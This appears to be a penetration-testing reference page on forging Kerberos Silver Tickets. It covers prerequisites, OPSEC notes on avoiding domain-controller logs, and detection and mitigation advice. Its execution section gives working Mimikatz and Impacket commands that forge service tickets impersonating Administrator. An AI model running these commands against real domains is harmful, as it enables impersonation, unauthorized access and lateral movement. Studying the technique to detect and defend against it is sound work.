Silver ticket
Technique
A Silver Ticket is a forged Kerberos service ticket (TGS) that an attacker creates using the password hash of a service account. Unlike a Golden Ticket (which is a forged TGT signed with the KRBTGT hash), a Silver Ticket is specific to a particular service on a particular server.
This technique allows an attacker to bypass the normal Kerberos authentication process and gain unauthorized access to specific services without interacting with the Domain Controller. By forging a service ticket, an attacker can impersonate any user of their choosing to the targeted service.
Prerequisites
Access Level: An attacker must first obtain the password hash (NTLM hash, RC4 key, or AES keys) of the target computer account or service account. This typically requires prior administrative access to the target server.
Information Needed: - Service account password hash or computer account password hash - Domain SID - Domain name - Username to impersonate - Target server FQDN - Service SPN (Service Principal Name) type (e.g., CIFS, HTTP, MSSQL)
Considerations
Impact
Silver Tickets provide targeted persistence and lateral movement capabilities, allowing an attacker to: - Access specific services as any user, including privileged accounts - Operate without communicating with a Domain Controller - Potentially bypass detection mechanisms that focus on TGT issuance
Limitations
- Limited to specific services on specific hosts (unlike Golden Tickets, which work domain-wide)
- Computer account passwords change automatically every 30 days by default, requiring the attacker to re-obtain the hash
- Does not provide a valid PAC (Privilege Attribute Certificate) for domain services that validate PACs
OPSEC
- Silver Tickets generate fewer event logs than normal Kerberos authentication
- No event logs are generated on Domain Controllers since they're not involved in the ticket creation
- Can potentially evade detection systems that focus on unusual TGT requests
Execution
Using Mimikatz
First, obtain the necessary information for creating a Silver Ticket:
- Domain SID: Use whoami /user (the SID minus the last portion is the domain SID)
- Target server name and service type
- Password hash of the service/computer account
Create and inject the Silver Ticket:
# Basic Silver Ticket for CIFS service on DC01
mimikatz # kerberos::golden /domain:contoso.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:dc01.contoso.local /service:cifs /rc4:1a59bd44fe5bec57d1c8f98e253a7091 /user:Administrator /ptt
# Silver Ticket for HOST service
mimikatz # kerberos::golden /domain:contoso.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:server01.contoso.local /service:host /rc4:1a59bd44fe5bec57d1c8f98e253a7091 /user:Administrator /ptt
# Silver Ticket with AES256 key instead of RC4
mimikatz # kerberos::golden /domain:contoso.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:server01.contoso.local /service:cifs /aes256:1a59bd44fe5bec57d1c8f98e253a7091b59bd44fe5bec57d1c8f98e253a70915 /user:Administrator /ptt
Using Impacket
# Generate a Silver Ticket for CIFS service on server01
impacket-ticketer -nthash 1a59bd44fe5bec57d1c8f98e253a7091 -domain contoso.local -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -spn cifs/server01.contoso.local Administrator
# Set the ticket for use
export KRB5CCNAME=Administrator.ccache
# Use the ticket to access the target
impacket-smbclient -k server01.contoso.local -no-pass
Common Service Types for Silver Tickets
Different services require different SPNs for effective Silver Ticket attacks:
| Service | SPN Type | Possible Actions |
|---|---|---|
| File Shares | CIFS | Access files on the target server |
| PowerShell Remoting | HOST, HTTP, WSMAN | Remote PowerShell access |
| WMI | HOST, RPCSS | Remote WMI queries and execution |
| Scheduled Tasks | HOST | Create or modify scheduled tasks |
| Windows Management | RPCSS | Remote management operations |
| SQL Server | MSSQL | Database access and command execution |
| DNS Server | DNS | DNS administration |
Detection & Mitigation
Detection
- Look for events with mismatched SPNs and services being accessed
- Monitor for service ticket requests without corresponding TGT activity
- Check for anomalies in PAC validation
- Audit for unexpected privileged actions by accounts, particularly against specific services
Mitigation
- Implement strong password policies for service accounts
- Use Group Managed Service Accounts (gMSAs) where possible to automate password management
- Enable Kerberos PAC validation on sensitive servers
- Consider shortening the machine account password change interval from the default 30 days
- Implement robust monitoring for suspicious Kerberos ticket usage
- Use the Protected Users security group for privileged accounts
- Implement tiered administration and network segmentation to limit credential exposure